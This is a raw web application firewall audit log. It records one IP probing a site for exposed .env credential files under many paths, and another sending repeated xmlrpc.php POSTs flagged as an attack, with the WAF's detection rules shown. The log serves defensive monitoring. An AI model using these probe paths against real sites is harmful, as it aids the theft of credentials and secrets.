proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020126687470 686667 (- - -) Stopwatch2: 1750020126687470 686667; combined=2065, p1=373, p2=1571, p3=0, p4=0, p5=120, sr=122, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0d29cc03-Z-- --c29caf39-A-- [16/Jun/2025:02:12:22.859283 +0530] aE8wLkaRoH9PZO5fwRniIQAAAAw 185.177.72.210 54498 127.0.0.1 7081 --c29caf39-B-- GET /index.cs HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c29caf39-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=353540a22d46636b0912776f99e1b5dc1750020142; expires=Sun, 15 Jun 2025 21:42:22 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c29caf39-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cs"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".cs"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/index.cs"] [unique_id "aE8wLkaRoH9PZO5fwRniIQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020142202229 657119 (- - -) Stopwatch2: 1750020142202229 657119; combined=2054, p1=341, p2=1610, p3=0, p4=0, p5=102, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c29caf39-Z-- --b0f36f53-A-- [16/Jun/2025:02:12:23.838806 +0530] aE8wL0-pZ3B--SoGku83ewAAABE 185.177.72.210 54556 127.0.0.1 7081 --b0f36f53-B-- GET /Archipel/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b0f36f53-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=54a1bf9a8c440dac3040614b265a63671750020143; expires=Sun, 15 Jun 2025 21:42:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b0f36f53-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Archipel/.env"] [unique_id "aE8wL0-pZ3B--SoGku83ewAAABE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020143181909 656958 (- - -) Stopwatch2: 1750020143181909 656958; combined=1738, p1=405, p2=1238, p3=0, p4=0, p5=95, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b0f36f53-Z-- --f6797f69-A-- [16/Jun/2025:02:12:44.167543 +0530] aE8wQ4v0YhcYGG7mzIplJgAAABU 128.199.112.101 44742 127.0.0.1 7081 --f6797f69-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 496 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f6797f69-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f6797f69-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8wQ4v0YhcYGG7mzIplJgAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020163145543 1022056 (- - -) Stopwatch2: 1750020163145543 1022056; combined=2429, p1=434, p2=1611, p3=47, p4=59, p5=173, sr=132, sw=105, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6797f69-Z-- --6a31a46e-A-- [16/Jun/2025:02:13:45.275411 +0530] aE8wgIl8S04UZ4l67-nYBwAAAAk 128.199.112.101 34580 127.0.0.1 7081 --6a31a46e-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 506 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --6a31a46e-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --6a31a46e-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8wgIl8S04UZ4l67-nYBwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020224183006 1092472 (- - -) Stopwatch2: 1750020224183006 1092472; combined=2304, p1=407, p2=1524, p3=41, p4=54, p5=176, sr=130, sw=102, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6a31a46e-Z-- --26f1da0e-A-- [16/Jun/2025:02:14:15.174011 +0530] aE8wnkaRoH9PZO5fwRniXQAAAAw 185.177.72.210 39284 127.0.0.1 7081 --26f1da0e-B-- GET /config/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --26f1da0e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e09c501d22faaca3aebf0c89610cb11e1750020254; expires=Sun, 15 Jun 2025 21:44:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --26f1da0e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/config/.env.production"] [unique_id "aE8wnkaRoH9PZO5fwRniXQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020254349641 824434 (- - -) Stopwatch2: 1750020254349641 824434; combined=2003, p1=398, p2=1497, p3=0, p4=0, p5=107, sr=101, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --26f1da0e-Z-- --12c08455-A-- [16/Jun/2025:02:14:34.512642 +0530] aE8wsSHEjD4mqWjYVm13LgAAABM 185.177.72.210 52940 127.0.0.1 7081 --12c08455-B-- GET /:8008/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --12c08455-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=67b03ca5c6cab882b3d6dfcdae3d9cd41750020274; expires=Sun, 15 Jun 2025 21:44:34 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --12c08455-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.backup"] [unique_id "aE8wsSHEjD4mqWjYVm13LgAAABM"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8008/.env.backup"] [unique_id "aE8wsSHEjD4mqWjYVm13LgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020273863429 649287 (- - -) Stopwatch2: 1750020273863429 649287; combined=2579, p1=463, p2=1994, p3=0, p4=0, p5=122, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --12c08455-Z-- --7af08a45-A-- [16/Jun/2025:02:14:46.147378 +0530] aE8wvYv0YhcYGG7mzIplZwAAABU 128.199.112.101 54406 127.0.0.1 7081 --7af08a45-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7af08a45-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --7af08a45-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE8wvYv0YhcYGG7mzIplZwAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020285154931 992515 (- - -) Stopwatch2: 1750020285154931 992515; combined=3016, p1=491, p2=2059, p3=50, p4=72, p5=213, sr=134, sw=131, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7af08a45-Z-- --0836cb23-A-- [16/Jun/2025:02:14:51.289265 +0530] aE8wwov0YhcYGG7mzIplaQAAABU 185.177.72.210 36930 127.0.0.1 7081 --0836cb23-B-- GET /:8443/.env.debug HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0836cb23-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=278f682ac0ea85460bfa2a05003d7ca11750020291; expires=Sun, 15 Jun 2025 21:44:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0836cb23-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.debug"] [unique_id "aE8wwov0YhcYGG7mzIplaQAAABU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020290617839 671488 (- - -) Stopwatch2: 1750020290617839 671488; combined=2030, p1=369, p2=1568, p3=0, p4=0, p5=93, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0836cb23-Z-- --6d2f192e-A-- [16/Jun/2025:02:14:53.785159 +0530] aE8wxTW73rwPI0SU-ijuIQAAAAA 185.177.72.210 37034 127.0.0.1 7081 --6d2f192e-B-- GET /Hash/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --6d2f192e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=47557e5c25c03abd4929b9b1d9853ac41750020293; expires=Sun, 15 Jun 2025 21:44:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --6d2f192e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/Hash/.env"] [unique_id "aE8wxTW73rwPI0SU-ijuIQAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020293105005 680217 (- - -) Stopwatch2: 1750020293105005 680217; combined=1778, p1=380, p2=1297, p3=0, p4=0, p5=100, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --6d2f192e-Z-- --b604c036-A-- [16/Jun/2025:02:15:00.026678 +0530] aE8wyyHEjD4mqWjYVm13OgAAABM 185.177.72.210 37184 127.0.0.1 7081 --b604c036-B-- GET /credentials/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b604c036-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1e23c5a1fab5161ea06cd9ac0ecb3bdb1750020299; expires=Sun, 15 Jun 2025 21:44:59 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b604c036-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/credentials/.env"] [unique_id "aE8wyyHEjD4mqWjYVm13OgAAABM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020299352613 674141 (- - -) Stopwatch2: 1750020299352613 674141; combined=2133, p1=426, p2=1602, p3=0, p4=0, p5=104, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b604c036-Z-- --028b9a18-A-- [16/Jun/2025:02:15:00.999899 +0530] aE8wzNxCjYf3vhjKXItuYwAAAA8 185.177.72.210 37220 127.0.0.1 7081 --028b9a18-B-- GET /08-routing/end/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --028b9a18-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=82c5e4dd101e1e4e68110914275598881750020300; expires=Sun, 15 Jun 2025 21:45:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --028b9a18-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/08-routing/end/vue-heroes/.env"] [unique_id "aE8wzNxCjYf3vhjKXItuYwAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020300348341 651634 (- - -) Stopwatch2: 1750020300348341 651634; combined=2091, p1=411, p2=1551, p3=0, p4=0, p5=128, sr=100, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --028b9a18-Z-- --c95b5e70-A-- [16/Jun/2025:02:15:04.290843 +0530] aE8wz4l8S04UZ4l67-nYKAAAAAk 185.177.72.210 37326 127.0.0.1 7081 --c95b5e70-B-- GET /:10000/app/frontend/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c95b5e70-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=19c339584c7b89ce12012261cfd9849e1750020304; expires=Sun, 15 Jun 2025 21:45:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c95b5e70-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/frontend/.env"] [unique_id "aE8wz4l8S04UZ4l67-nYKAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020303563797 727144 (- - -) Stopwatch2: 1750020303563797 727144; combined=1786, p1=444, p2=1203, p3=0, p4=0, p5=139, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c95b5e70-Z-- --d3106259-A-- [16/Jun/2025:02:15:06.250865 +0530] aE8w0UaRoH9PZO5fwRnicwAAAAw 185.177.72.210 37408 127.0.0.1 7081 --d3106259-B-- GET /:8443/cgi-bin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d3106259-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23958a18e1f9ce324f9d554020410be81750020306; expires=Sun, 15 Jun 2025 21:45:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d3106259-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/cgi-bin/.env"] [unique_id "aE8w0UaRoH9PZO5fwRnicwAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750020305602121 648833 (- - -) Stopwatch2: 1750020305602121 648833; combined=2083, p1=482, p2=1432, p3=0, p4=0, p5=168, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d3106259-Z-- 